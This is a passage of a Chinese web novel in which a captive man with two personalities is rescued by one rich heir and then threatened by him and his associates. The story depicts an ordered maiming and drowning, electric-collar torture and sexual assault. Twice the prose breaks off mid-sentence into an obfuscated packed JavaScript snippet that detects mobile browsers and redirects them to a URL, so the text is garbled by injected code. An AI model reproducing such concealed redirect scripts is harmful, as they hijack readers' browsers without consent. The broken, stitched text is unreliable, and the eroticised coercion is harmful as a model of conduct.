郁寒看都不看石泽毅一眼,但他听到逐渐远离的脚步声时还是有些微妙的诧异。 许久过后,急促的脚步声靠近,郁寒挑了挑眉:“不是说让我自生自灭,你……” 郁寒话顿住了,因为回来的不是石泽毅,而是那名物业管事。 他双手持着一把精铁制的大钢筋钳,正费力地钳着拴着郁寒的两根锁链。 郁寒太阳穴的青筋跳了又跳,行,石泽毅够绝。 随着巨大清脆的声响,郁寒手脚上的锁链应声而断,他看向那名满脸大汗的物业管事:“那个,你的手机可以借我一下吗,我打个电话。” 那物业管事迟疑了一下,还是将手机打开放在郁寒手上。他注意到郁寒没被锁的右手手腕上也有很深的勒痕,而且拇指似乎还骨折了。 物业管事看到散落在右手边的镣链,猜到郁寒右手的链子是强行挣脱的,他顿时对郁寒豪门金丝雀的印象浅淡了几分,只觉得郁寒也是个狠角儿,一时间连看郁寒目光都变得钦佩敬畏起来。 郁寒没理会物业管事态度的转变,他想了想能联系的人,却一个人的号码都不记得。 郁寒短暂地沉默了一瞬,然后对封闭在精神世界的郁杉说:“你这边有什么能救我们的人吗?刚才那家伙不靠谱。” 突然被关住的郁杉好像没有生气,他只平静地回答:“如果能联系得上齐蹊的话,他应该可以。” 郁寒唰一下又将精神世界给锁了。 齐蹊……张口闭口都是齐蹊,妈的,郁杉脑子里装的除了齐蹊没有别人了吗? 郁寒食指在通讯页面划动,他看到了清一色的打给宗寰却无人接通的电话记录,他目光闪烁,点了下宗寰的号码,将电话再次拨了出去。 “你想打给谁?盛见誉?楚邃?”石泽毅不知道什么时候出现在了门口,他远远地看着郁寒的举动,语气不愉。 郁寒抬眼看了他一下,勾着唇,没回话。 先前一直无人接听的电话竟然突然拨通了,电话里传来宗寰疲乏冷漠的声音:“什么事?” 宗寰声音响起的那一刻,石泽毅面色阴沉危险地向郁寒快步走过去。 “宗寰……我快死了。”郁寒不徐不疾的语气如往常般慵懒,但他的声音还是无法掩饰的微弱虚浮。 电话对面听到郁寒的声音时,呼吸停顿了下。 沉默了一瞬后,郁寒听到宗寰刚开口想说什么,他手中的手机就被石泽毅一把夺走掐断了电话。 石泽毅将手机抛回给物业管事,他拿过物业管事手里的大扳钳在手中掂了掂,打量的目光从郁寒打了石膏的右腿上扫过。 石泽毅语气威胁:“惹我生气有什么好处?难不成是想让自己瘸得对称一点?” 郁寒半眯着眼,全然不惧怕眼底翻涌着戾气的石泽毅,他笑着说:“到底带不带我走啊,磨叽死了,我猜宗寰很快就会派人回来看我死了没有。” “宗寰把你折磨成这样,结果你还指望着他救你?”石泽毅脱下外套搭在郁寒身上,将人横抱起,“而且你把他捅进了医院,你凭什么觉得他会管你的死活。” 郁寒疼得直抽气,他坠着半截锁链的手搭上石泽毅的腰,狠狠地掐着:“谁知道呢,我就是信宗寰,毕竟他总是会不断地对我心软。” 石泽毅单薄的里衫下透出艳红色的挠痕,石泽毅将手里的扳钳抵住郁寒左腿的膝盖骨,警示不安分的郁寒消停点儿。 “张口闭口全是宗寰,郁寒,你最好别再挑衅我。”石泽毅抱着郁寒往外走,他声音冰冷地说,“宗寰会对你心软,我可不会。” 嘶……这前半句话的语气怎么这么熟悉。 郁寒盯着石泽毅的脸看了又看,缓缓地问出一句:“你这是……吃醋了?” 石泽毅冷冷地扫了怀里的郁寒一眼,抿着唇不说话,只加快了脚下的速度,跟在他们后面的物业管事都快追不上。 “啧,嘴比石头还硬。”郁寒轻佻地笑笑,状似无意地解释着,“我打电话给宗寰只是抱着闹闹你的心态,没想到他刚好真接了,我可没指望他放过我,赶紧走吧,他真回来那我可才真是要死了。” 走出电梯的石泽毅看着聚集在楼下的安保人员,脚步微顿,他知道是刚才那通电话后宗寰派人拦着的。 被湿凉的夜风一吹的郁寒难受得浑身骨头发酸,身上附着的薄汗和血渍半干后传来不适的黏腻感,他身子有些发热。 但郁寒没在乎那点难受,他目光兴奋戏谑地看着将他们围住的保安:“石泽毅,好久没见你动过手了。” 石泽毅盯着笑得肆恣的郁寒,有种撒手把他摔下去的冲动:“把拦路的人招来了,你就开心了?” “帮我报个仇?”郁寒忍着痛抬手,指向人群中保安队长和另一名保安,“他们俩,早上掰折了我两只胳膊。” 石泽毅顺着郁寒指的方向看过去,皱了皱眉,他冷讽着说:“帮你解决可以,但你确定我把你放下来你自己站着住吗?” “?石泽毅,你不会真一个人来的吧?”郁寒语气惊疑,但那双狭长好看的眼睛里全然不见诧意,他好像料准了一切般毫不慌乱。 石泽毅没说话,围住他们的保安队很快被另一群人围住,石泽毅抱着郁寒冷眼漠视着身周极为混乱的打斗。 十来名保安都被制服后,郁寒看到那个西装革履却干架最狠的青年走到石泽毅面前,歉声说:“抱歉,石少,我来晚了。” “程絮,那个保安队长和他旁边那人,都处理掉。”石泽毅目光扫过被摁跪在最前面的两名保安,对面前的青年说。 “先废了手脚,然后拖去沉江。”郁寒语气懒散地说着残忍的话。 他挑了挑眉看着程絮,能跟在石泽毅身边的都是狠人,这青年看着刚成年,手上居然都沾过人命了么。 程絮看向石泽毅怀中遍体於痕手脚还坠着断裂锁链的郁寒,神色没有任何异样。 他在听到郁寒的话后只请示地看了眼石泽毅,见石泽毅默许,便伸手松了松领带,转身朝一脸惊恐的保安队长走去。 石泽毅抱着郁寒往停在不远处的几辆黑色保姆车走去,他身后传来不间断的惨叫和尖叫声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238660|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这个时候走这么急做什么?不让我看一下报仇的过程吗?”郁寒不太满意地说。 石泽毅上了第一辆车,他将郁寒躺放在后车座上,面色平静地说:“你不知道自己发烧了吗?再不去医院我怕我今天真是来给你收尸的。” 一脸没事儿人的郁寒只因为身体扯动的疼痛而皱了皱眉:“不去医院。” 石泽毅顿了一下,对隔板前的司机说:“回家,顺便联系刘医生。” 郁寒看着窗外远去的树影,后知后觉得感受到身体烧灼得难受,他眼皮有些沉,郁寒阖上眼半困顿地说:“石泽毅,我眯会儿,你别把我拐去黑市卖了……” 意识发沉,先前精神被强压下去的顿痛感又反涌了上来,郁寒心中莫名的慌悸。 郁寒抱住安静待在精神世界的郁杉,不安地亲了亲:“郁杉,我们出来了。” 郁杉神色平静冷淡,他伸手推了推郁寒:“可是你把我们搞得很狼狈。” “我的错我的错,乖,让我抱抱。”被半推开的郁寒又强硬地贴了上去,他认真看着郁杉的眉眼,像是在确认怀中之人的真实。 郁寒轻声说:“我总感觉,我又要消失了。” 郁杉眸光微敛,看不出听到这话后是开心还是不开心。 郁寒抚上郁杉的脸,神色温柔得让人发寒:“郁杉,这一次别再利用消耗我仅存的爱意了,我不会再自愿消失……我们就应当如你所说般,共坠地狱。” 郁杉冷漠的神色终于裂出一道缝隙,他挣扎着推开明显被那杯水里的药物刺激地不正常的郁寒,面色有些罕见的紧张。 被又一次推开的郁寒目光中闪烁着病态的疯狂,他死死将郁杉抵在精神世界白茫茫的地上,语气却温柔缱绻:“宝贝,你说——在我最爱你的时候,在你最恨我的时候,我们同葬,是不是就能永恒地记住彼此?” “听着挺浪漫的,对不对?”郁寒紧紧地盯着郁杉的眼睛,像是期待着能从中看出回应。 郁杉焦虑压抑地抬手揉了揉眉心,顺便挡住了郁寒像是要吃人的目光,他的意识其实也有些混沌地顿痛。 那精神药物一杯的剂量其实不会有这么大的影响,但却勾起了他们刻在灵魂里的记忆,裹挟着过往的痛楚如同浪潮般扑打着他们的意识。 两年前。 趴在洗盥台上的郁寒干呕着企图将郁杉方才干咽下去的药片吐出来。 郁杉用尽全力控制着郁寒想要去抠喉咙的手,镜子里他们的手抬起又被迫放下。 郁寒双眼猩红地盯着镜子里狼狈的自己,他语气暴戾:“你真以为这是什么能治好人格分裂的药,这药再吃下去,消失的不会是我,只会是你!” 郁杉睫羽低敛,平静地回答:“我知道。” 郁寒一瞬间气笑了,他突然操控原先被郁杉压制着的手,挥拳砸向镜面:“你那个青梅竹马的心理医生给你的治疗方案就是让你消失?郁杉,他让你去死你就真的去死?” 鲜血从骨节分明的手指间流出,沾染在裂开的镜子上,像命案现场般恐怖森然。 郁杉抬眼看着镜子里他们破碎扭曲的镜像,轻声说:“我不想做个疯子,也不想再被你折磨……他说你爱我爱到疯魔,吃这个药,要么我解脱,要么你自愿消失。” 郁寒突然掐住自己的脖子,眼中是同归于尽的疯狂:“好,真好……他居然算计到这个份上,拿你的死逼我?我怎么可能放过你一个人,他就没想过我拉着你一起死的结果?!” “他没说,但我想过。”郁杉顿了顿,并不制止郁寒发疯的动作,他高仰着脖子,轻笑着说,“那也挺好的,我做梦都恨不得你死,我解脱了,还顺便平了恨。” “我们本就一同存在,也理当一同消亡。” 12. 耿耿于怀 星疏月朗,夜色袭人。 石泽毅看着昏睡过去的郁寒蒙上薄红的身体,他伸手碰了碰郁寒的额头,烫得惊人。 石泽毅皱了皱眉,沉声对司机说:“开快些。” 司机应了声,然后一脚油门踩到底,黑色迈莎锐MV600一路疾驰,驶进了石家的庄园。 大半晚上被一通电话叫来的刘慕笙早就拎着医箱站在别墅门口了,他正想幽怨地开口讽刺几句不做人的石泽毅时,就看到石泽毅抱着个手脚坠着断裂锁链右腿打了石膏的纤瘦美人儿从车上下来。 “嘶……”刘慕笙倒抽一口凉气,他不知道郁寒是因为身子牵动被项圈的电流折磨,看着连睡梦中都眉头紧拧神色痛苦的郁寒,刘慕笙只觉得是石泽毅不做人事儿。 刘慕笙努力镇静地推了推金丝眼镜,最后还是没忍住骂了出来:“畜生啊畜生啊,这他妈什么情况?你又把人玩儿残了?” 石泽毅只瞥了他一眼,便径直掠过他走进客厅。 刘慕笙气结地跟了上去,他看到石泽毅让佣人都回了屋,然后将怀里的人放在了沙发上,回过头跟他说:“他发烧了。” 刘慕笙将提在手中的医箱放在茶几上,探了探郁寒额头的温度,然后伸手想去掀裹在郁寒身上的黑色外套。 石泽毅却一把抓住了刘慕笙的手:“做什么?” “?”刘慕笙直接把问号写在了脸上,“我给他检查身体啊我做什么?” 石泽毅眉头微皱:“他身上除了那处撕裂外没别的事,你开些退烧药和那处的伤药就好。” “那你大晚上把我叫过来干什么?直接叫人去买药不就行了?”刘慕笙很是无语地挣开手。 “确定不要我给他检查?”刘慕笙看了眼郁寒,又看了眼石泽毅,“你们这些大少爷折腾起来是真没分寸,今晚荀越也是,不知道发什么疯,把他那好不容易醒过来的小情人儿又弄得满身是伤。” “荀越和徐然有得闹呢。”石泽毅对于刘慕笙抖出的八卦并不敢兴趣,他冷声说,“我这儿的事,你嘴巴最好严实点儿。” 见石泽毅脸色冷峻,刘慕笙眼皮跳了跳,他将退烧药和伤药配好给石泽毅后,认真地问:“叫我来是有别的什么事?” 石泽毅没立刻回话,他倒了杯水将退烧药给郁寒喂下,然后拨弄着郁寒项圈上刻着“寰”字的铭牌吊坠,像是在思酌什么。 石泽毅眸光幽暗地说:“你有什么能稳定精神分裂患者副人格的办法吗?我需要副人格长期出现,最好永远不会突然消失。” 两年前郁寒似乎并不是刻意脱离开他们圈子的,而是“郁寒”这个人格本身消失了,石泽毅对于这点有些耿耿于怀。 他可不想这一次又还没有玩得尽兴,能操控宗寰情绪的玩具就又突然消失了。 刘慕笙皱了皱眉:“我又不是精神科的医生,我能有什么办法……不过心理和精神方面的问题可以找A大的齐蹊教授,他的能力国内顶尖,我把联系方式给你?” “齐蹊……”又一次听到这个名字的石泽毅顿了顿,他看向刘慕笙问,“你对他了解多少?” “大学时算是校友,但除了知道他在学术领域的一堆荣誉外,没什么了解。”刘慕笙如实说,“不过今天被叫去市医院给徐然治伤时,我在隔壁病房看到齐蹊了,他好像腹部受击胃壁破裂导致了大出血。” 说着说着刘慕笙越讲越气:“你们一个两个的真的是!荀越在医院伤的徐然,在医院啊!虽然夜间只有值班医生,但处理外伤完全够用的,居然半夜非把我叫过去!刚歇下你这边又让我空跑一趟,居然只是为了开了个退烧药!” “全玩儿我呢!下次你们真受重伤生重病了就等死吧你们……”刘慕笙气得脸都涨红了,但他瞥到沙发上面色苍白的美人正睁着眼看向他时,瞬间噤了声。 郁杉醒过来时正好听到刘慕笙那句齐蹊胃出血的话,他眼中闪过明显的担忧之色:“齐蹊……他人没事吧?” 这语气,完全不像郁寒……石泽毅探究的目光扫了过去,他对上郁杉清洌疏漠的双眼时,微怔。 刘慕笙听到郁杉的话后有几分诧异:“你认识齐蹊?” “嗯,朋友。”郁杉目光微拢,轻声应道。 刘慕笙看向石泽毅,见对方若有所思的神色,刘慕笙迟疑了一下,对郁寒说:“齐蹊应该没事,你想去看他就快点好起来,烧退了叫石泽毅带你去。” 郁杉的目光落在石泽毅的身上,眼中是明显的陌生疏离。 石泽毅来了兴趣:“你是郁寒的主人格?” 刘慕笙直接瞳孔地震,石泽毅把人都玩出人格分裂症来了么?!而且刚才石泽毅还想问他让眼前这美人永远人格分裂的办法,嘶……好可怕好畜生。 郁杉在石泽毅探究玩味的目光和刘慕笙惊诧怜悯的目光下默了默,半晌后才开口说:“我右手指节骨折了,很疼,可以麻烦帮我包扎治疗一下吗?” “顶着这张脸用这么礼貌的语气,我还真是不习惯。”石泽毅挑眉笑了笑,他看向刘慕笙说,“帮他看下伤吧。” “身体也检查一遍。”原本不想让刘慕笙检查郁寒身体状况的石泽毅突然改了口,他目光微微闪烁,摸出一盒烟起身去了阳台。 郁杉对石泽毅没什么了解,他只本能地感觉到了这人的危险,但郁杉不明白石泽毅为什么在看出他想和刘慕笙搭话后会这么配合地给他制造独处机会。 但郁杉并不是因为顾忌而放弃眼前机会的人,反正境况再如何也不会比今天更糟糕了。 任由刘慕笙拉起他的右手察看伤势,郁杉因为项图电流刺激的疼痛拧了拧眉头:“如果可以,请尽量不要扯动我的身体。” 刘慕笙被郁杉过于苍白脆弱的神色惊到,这青年像是块被摔得满是裂缝的精美瓷玉,让人忍不住珍视地对待。 刘慕笙平复了下微乱的呼吸,动作放轻了些。他给郁杉的手抹了些化於的伤药,然后用一小块极轻巧的木夹板将郁杉折断的指节固定好。 刘慕笙忍不住问:“手指怎么弄骨折的?” 郁杉平静地回答:“挣链子时弄折的。” 刘慕笙心中石泽毅的畜牲行径顿时又加了一条,他安抚地说:“没事,不是大伤,注意些就好。” 郁杉抿了抿唇,神色.欲言又止:“医生……” 刘慕笙也早看出郁杉有事想求他,既然石泽毅默许,他就没什么负担。 刘慕笙点明问:“你是有什么需要我帮忙的吗?” “你可以帮我联系一下齐蹊吗?”郁杉神色平静,但他轻轻扯上刘慕笙的衣袖,摆出的姿态像是攥住了唯一的救命稻草。 “好。”刘慕笙被郁杉这样子搞得心神动荡,郁杉就是求他此刻带他离开石泽毅,他都可能一时失了智地点头同意。 远远站在阳台的石泽毅嘴中吐出一个白色的烟圈,缭绕的烟雾迷胧,炽白的灯光和夜空的星辉交映在他神色不明的脸庞上,徒增了几分幽冷。 石泽毅只是平静地看着郁杉拽着刘慕笙袖角的样子,他在思酌同样是初次见面,为什么郁寒的主人格宁愿向刘慕笙求助也不向他开口。 他是洪水猛兽吗?郁寒和郁杉为什么都不愿意优先选择他?分明他才是能将事情轻易摆平的裁决者。 无论是郁寒要报复齐蹊,还是郁杉想要齐蹊救他脱困,在他这里不过一句话的事情。 而且,他并没有在郁寒面前拿过什么恶人牌。他在那群朋友面前确实算是冷漠的,但绝对算不上凶戾狠恶不可靠近。 完全想不通啊,分明宗寰当初都对郁寒做那样撕破脸的事了,郁寒居然仍旧愿意再一次羊陷虎口。 彼此两方都口口声声说着什么只是利用什么只是玩玩的话,分开两年到头来一个最信任的一个最在乎的竟然还是对方。 搞得好像,利用玩弄到你死我活囚禁捅刀是什么情侣情趣play一样。 宗寰…… 那点儿该死的微妙的胜负欲被激了起来,石泽毅着实有些不爽,这份不爽他觉得有必要向宗寰报复回来。 石泽毅食指和中指夹着烟蒂将快燃尽的烟取下,给宗寰拨了通电话过去。 “喂?”石泽毅勾了勾唇角,他此刻低沉的音色听得出几分挑衅,“宗寰,你的小情人我帮你救出来了,你打算怎么答谢我?” “石泽毅,我的人好端端呆在我的地盘,你强行把人掳走了,你怎么好意思说帮我救人这种话,脸不要了吗?”电话那头的宗寰语气极为愠怒,还有刺耳的物品摔掷碎裂的声音。 “啊……可是,是郁寒主动打电话求我去救他的,你人当时在医院,他情况又确实很糟糕,我没去的话他大概率真的会死在你床上。”心情不爽的石泽毅有意激宗寰,“你们小情侣吵个架去半条命,不愧是你啊宗大少爷。” “以我对你的了解,郁寒真出事你肯定心疼死。”石泽毅将夹在指间的烟头摁熄在大理石的阳台上,语气状似认真,“我可是看在你的面上才费那么大功夫去救他的,他欠的人情不一向都是你还吗?” “神他妈看我面上从我家救走我的人,石泽毅,你少跟我阴阳怪气。”宗寰听出了石泽毅的意思,他懒得跟石泽毅弯弯绕绕,“直说,你想要什么?” 现在郁寒在石泽毅手上,石泽毅摆明了要趁机讹他一笔。 “星月湖公园的地下赌场不是要扩建吗?让石家注资,并且让十个点的利给我。”石泽毅随口要价就让宗寰大出血,“这个价买郁寒半条命不亏吧。” “宗家名下最小的赌场月流水也至少20亿,十个点,石泽毅,你怎么敢开这个口的。”就算有心理准备的宗寰也还是气笑了。 石泽毅料到了宗寰的反应,他倒也不指望真靠郁寒从宗寰手里弄到星月赌场的股,他纯粹是气宗寰玩儿。 石泽毅看到门口刚回来的程絮,突然想到什么,他勾了勾嘴角,语气随意地说:“也是,郁寒再这么样也就是个玩意儿,宗少不愿意我就自行向他取要报酬了。” 刚解决完麻烦回来的程絮在门口弯腰,行径规矩地换下沾了江边湿泥的皮鞋。 他听到刘慕笙和沙发上的男人在谈论齐蹊时,动作微顿。 程絮刚直起身,便看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238661|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到石泽毅朝他走了过来。 石泽毅将手机开了静音,但电话屏幕还显示着通话中,他像是刻意说给电话那头的人听般,意味不明地笑问:“程絮,你是不是还没开过荤?” 程絮看了眼通话屏幕上的名字,他神色平静地配合着说:“嗯,没有。” “我们折腾了大半晚上去救了只濒死的金丝雀,结果这金丝雀的金主不领情。”石泽毅目光扫过蠃弱不堪看着无害的郁杉,语气带着阴沉的笑意,“程絮,既然他没什么价值了,那就赏给你玩儿了,这种极品货色在‘夜色’包一晚上可是天价。” “跟着我做了这么久的事,也该稿劳一下。”石泽毅拍了拍程絮的肩膀,压了压声音故意说些不入耳的难听话,“据说发烧的时候会比平时操起来更爽,我不爱做赔本买卖,辛苦一晚上,你可要连本带利都赚回来。” 程絮目光微敛,面不改色地向沙发上的郁杉走过去。 一旁的刘慕笙被石泽毅的话惊得脸色都僵了,他挡了挡程絮说:“别在我眼前做畜牲事儿啊,半残的病患你们也不放过?!” 察觉到危机的郁杉反应还算冷静,但他想不到能脱离当前困境的办法。 郁杉只手肘撑着沙发的软垫,身子僵硬地往后挪了半寸,神色警惕。 程絮感觉沙发上过分漂亮的男人和先前看到时给他的感觉不太一样,先前的那个放荡乖张,现在的这个却清冷禁欲……有些奇怪。 但程絮面上没什么反应,他像是单纯在完成石泽毅交代的任务。 程絮单手将挡路的刘慕笙制服后踹开,他在沙发边半蹲下来,伸手去解郁杉身上仅有的一件深色长衬衣。 “别碰我。”郁杉忍着项圈电流推开程絮的手,目光冰冷。 郁杉警告的目光对程絮这种杀人都不眨眼的角色来说没有任何威慑作用,程絮动作没有丝毫停顿,他捏住郁杉反抗的双手压在郁杉头顶,干脆利落地将郁杉身上衬衣强行扯开。 郁杉因为项圈的电流疼得眼中涌出生理性的眼泪,难堪地侧了侧头。 他只觉得此刻炽白的灯光过分的晃眼,满身吻痕的身体狼狈地暴露在三个陌生人的视线下,也太过屈辱和羞耻了。 程絮的动作也明显一顿,他其实没什么经验,此刻摆在他面前的瘦弱身体像是经历过一场刺激的情.事,巨大的视觉冲击感让原本冷静的程絮一时也有些无从下手。 被踹开的刘慕笙是真看不去,他扶着茶几爬了起来:“石泽毅,他这样子再被折腾一晚上,明天我可不能保证他还有气儿活着。” 石泽毅的指腹在手机的负音量键上磨挲,他语气不以为然:“刘医生也想加入吗?没关系,程絮应该不会介意的。” 刘慕笙要说的话截在了喉咙里,他的心被恶魔拖拽下沉,目光几乎黏在了郁杉的身上,不得不承认,那真的是具很勾人的身体,他心中澎张的欲望让他再做不了圣人。 “上一个碰他的可是寰宇集团的宗大少爷,宗寰是圈里有名的Dom,调.教的手段可是一绝。”石泽毅也走了过来,他居高临下看着郁杉脆弱可怜得让人更想欺辱的模样,目光闪烁,“程絮,他的滋味一定比你想象的更诱人。” 收到石泽毅催促的程絮深吸了一口气,他覆身压在郁杉身上,一只膝盖分开郁杉的双腿,程絮低头试探地去吻郁杉的颈脖,温柔青涩的前戏像个纯情至极的小男生。 “滚开……”在程絮亲下来的前一刻,脸色冰冷难看的郁杉抬起还能动弹的左腿,用力踢向程絮的裆下。 程絮闷哼一声,迅速抽开身从郁杉身上离开,他疼得面色都有些扭曲。 但郁杉明显比程絮更疼,这种剧烈的挣扎会引动项圈最大程度的电流惩罚,他拧着眉身体痛苦地痉挛着,连呼吸都变得急促微弱。 “郁教授的性子还是一如既往的带劲儿。”石泽毅唇角微扬,他扯住郁杉左腿上坠着的半截锁链,粗暴将人一把从沙发上拽下来。 “呃啊——”郁杉破碎隐忍的痛哼声像小锥子般敲在了四个人的心尖儿上。 石泽毅将手机音量打开,果然如他所愿地听到了宗寰不断怒骂后嗓子嘶哑的愠恼吼音—— “石泽毅,星月赌场我让你十二个点的利,把人安然无恙地给我送回来。”宗寰的语气恨不得将石泽毅碎尸万断,“你敢碰他,老子阉了你!” “安然无恙是不可能了,宗寰,我这还没做什么呢,郁寒看样子要先因为你这电惩项圈死掉了。”石泽毅语气惋惜,“瞧瞧这想反抗又因为电流不敢反抗的样子,真可怜啊。” “石、泽、毅——!”宗寰咬牙切齿,他听到了锁链扯动的声响和郁杉接连的痛吟声,连忙关掉了项圈远程控制器上电流设置。 察觉到项圈的电流中断,郁杉挣扎着从地上爬起来,他戒备地盯着眼前的三人,拖着瘸着的腿艰难地向后挪退了几寸。 石泽毅目光幽暗,他松开手中握着的断裂锁链,故意制造出巨大激烈的挣扎声响,然后不顾宗寰的怒骂声将电话掐断。 石泽毅唇角上扬,心情极好地说:“宗寰肯定气疯了现在。” 13. 荼蘼花谢 被挂断通话的宗寰气到双眼猩红,他怒不可遏地将电话又拨了过去,但手机一直都无人接听。 一直通话盲音的手机被怒火中烧的宗寰狠摔在地上,金属机壳四分五裂开,混着先前摔落在地的花瓶碎片,一遍狼藉。 “宗少,您别乱动,真的会扯裂伤口的。”再次听到巨大声响后冲进来的护士语气焦急。 “滚。”宗寰盯着门口的护士,冷冷地吐出一个字。 年轻护士被宗寰渗人的目光盯得发怵,她最终还是畏畏缩缩地退到了病房外。 房间安静下来,但郁寒挣扎反抗的虚弱声音仍旧在宗寰耳边回响,宗寰捂着耳朵,低下头发出犹如困兽无能狂怒的嘶吼:“啊啊啊——!” 是他错了,他既然剪掉了郁寒的利爪,就不该再心软给郁寒向外界求救的机会。 那样弱态的郁寒,只会被其他觊觎着他的恶狼扑食。 郁寒就是真被折磨死在他床上,也比现在被别人糟蹋了强。 宗寰知道石泽毅那种人渣真能干出让人轮了郁寒的恶心事儿——他娇养的荼蘼花要被别人粗暴地摧折了。 就算他现在派人强冲进石泽毅家里也来不及阻止石泽毅的恶行,好脏,好脏…… 不要郁寒了吧,他那么脏。 宗寰伸手紧紧捂住眼睛,湿热的眼泪从指缝间流下,顺着手上暴起的青筋滑落到腕表上。 是心如刀绞的愤怒,比腹部的伤口疼痛千万倍。 “宗寰,不是你先想杀我的吗?” “宗寰……我两年前会突然消失,就是因为郁杉一直吃齐蹊开的那种特殊精神药物。” “宗寰……我快死了。” “别碰我……滚开……呃啊——,滚啊……” 宗寰满脑子都是郁寒虚弱的声音,他的手在白色的床被上紧紧攥出几道极深的褶皱,用力握紧到泛青的指节都在发颤,他咽不下这口气。 或许郁寒还在等他去救他……就算脏了,那也是他的东西,他要去把郁寒带回来。 宗寰掀开床被,不顾腹部再次裂开的伤口翻身下床,他扫了眼地上的碎片后,急冲冲地跑出病房。 “诶,宗少,您去哪儿——?”守在门口的年轻护士惊叫道。 …… 石泽毅嘴角噙着笑,看到手机摁熄后又不断亮起的屏幕,他想象着宗寰狂怒的样子,将手机点开免打扰后随手抛给身侧的程絮。 石泽毅含笑的目光落在狼狈警惕的郁杉身上,他蹲下身,将丢在沙发上的外套扯过搭在郁杉身上:“怎么怕成这样?” 郁杉紧紧拽着唯一能遮羞的外套,他神色冷漠地抿着唇,最后还是气不过地回讽了一句:“换你莫名其妙要被人强,还没什么反抗的办法,你不怕吗?” 石泽毅盯着郁杉看了很久,倏地笑出声来:“你看着就很好骗的样子——吓宗寰玩儿的,我不会动你。” “我是顾着郁寒的面子救你出来的,不然宗寰刚刚开价十二个点时,我肯定就把你卖掉了。”石泽毅站起身,拍了拍衣服上的褶皱,“你这性子还挺有意思的,不过刚刚那种场面都没把郁寒激出来吗?” “郁寒意识受药物刺激,沉眠了。”郁杉目光微敛,平静地解释。 郁杉能感觉到刚才那种落入狼口的危险氛围消失了,也能判断出石泽毅此刻的确对他没有恶意。 郁杉猜到了些刚才石泽毅那样做的用意,他碰了碰颈脖上解不开的金属项圈,停顿了片刻说:“谢谢。” 石泽毅深沉的目光微微闪烁:“谢我做什么?谢我想轮.奸你未遂?” 郁杉面色苍白,他抬眼看向石泽毅,礼貌客气地勾了勾唇角:“你刚才作那场戏难道不是想替我解决项圈上的电流吗?” “不是。”石泽毅挑了挑眉,肆口否决。 “哎呀,石泽毅他就是嘴比石头硬。”刘慕笙看着这好好的人情又要被石泽毅搞成怨情,赶紧冒出来打圆场。 石泽毅冷冷看了插话的刘慕笙一眼,刘慕笙瞬间噤声。 “不算是为了帮你,我只是单纯想看宗寰生气。”石泽毅揉了揉眉心,神色困顿,“寰宇集团的太子爷上一次发这么大火,已经是两年前的事了。” 石泽毅敛了玩心,他侧过头对程絮说:“小絮你帮忙带他去洗澡吧,方才说的话都不作数,想开荤改明天我带你去夜色找几个雏儿给你玩。” “嗯。”程絮平静地应下,他弯腰想去抱郁杉。 郁杉身子微僵,还是仍由程絮将他抱了起来,他只将身上的外套扯得更严实了些。 石泽毅侧头看了眼刘慕笙:“怎么眼神都要粘人家身上了,刘医生禁欲太久,现在欲.火难泄?” “谁跟你一样满脑子黄色废料。”刘慕笙面色窘迫地推了推眼镜,他看了眼被程絮抱上楼的郁杉,提着医箱仓皇地走掉了。 走到二楼的程絮轻踢开卧室掩住未锁的门,将郁杉放在床上,然后去卫生间将浴缸蓄满水。 郁杉看着从卫生间出来的程絮盯着他打石膏的腿微微皱了皱眉,然后从床柜翻出一卷塑料膜,熟练地缠在了他腿上。 郁杉目光低敛,有些好奇地问:“你怎么看起来做过很多次这种事了,以前学做过护工吗?” 程絮平静地回答:“以前在地下赌场打过黑拳,受伤骨折是常态,打石膏的地方不能沾水,所以这样处理过很多次。” 郁杉微微讶然,他沉默了片刻后问:“可你这年纪应该还在上大学吧?” 程絮不确定郁杉是不是在有意套话,他没回话,看了眼神色惊讶的郁杉后,将人抱进浴室。 程絮将郁杉身上唯一的遮羞布揭走,郁杉身子僵硬地被程絮放进浴缸,他面上不知真假的惊讶顿时全然退去,像是只剩下一具冷漠到自我隔离的壳子。 浴室的镜子被水雾蒙住,郁杉对上程絮平静无波的黑色眼睛,他冷淡的目光穿透程絮,看着雾镜中他们模糊不清的影子,没再追问任何事。 安静的房间里只剩下水声,气氛尴尬得让郁杉更加煎熬,他右腿和右手都垂在浴缸外,升腾的雾气将他的身子遮住,交错的旖旎痕迹若隐若现。 程絮的手碰到了他身上的红痕和於青,郁杉不适地皱了下眉,他抓住程絮的手说:“我自己来吧,你先出去,我洗好了叫你。” 程絮没有同意:“石少让我帮你洗。” 郁杉觉得程絮很奇怪,他能看到程絮平静的眼中没有让他觉得危险的欲望,程絮像只是单纯在完成石泽毅交代的任务,单纯得有些死板、了无生气。 程絮身上的气质不像是一个刚成年不久的青年该有的样子,他平静的眼底压抑着很多沉重的心思。 那是一种,让人窥探一眼都如陷泥潭般的压抑沉重。 程絮不顾郁杉的抗拒,揉出沐浴露的泡沫抹在郁杉身上,从腰腹一路向下。 郁杉紧抿着唇,目光渐冷,程絮打沐浴露的手碰到郁杉大腿根部时,郁杉忍无可忍地推开程絮:“走开。” 被强推开的程絮身上溅了一身水,他看着面色气恼的郁杉,平静且强硬地摁住郁杉,将水流引入郁杉身后深处。 身后那处撕裂过后细密绵延的疼痛让郁杉难堪到心中激起戾气,原先半干的浑浊血迹在浴缸中漾开,显得格外的糜烂脏秽。 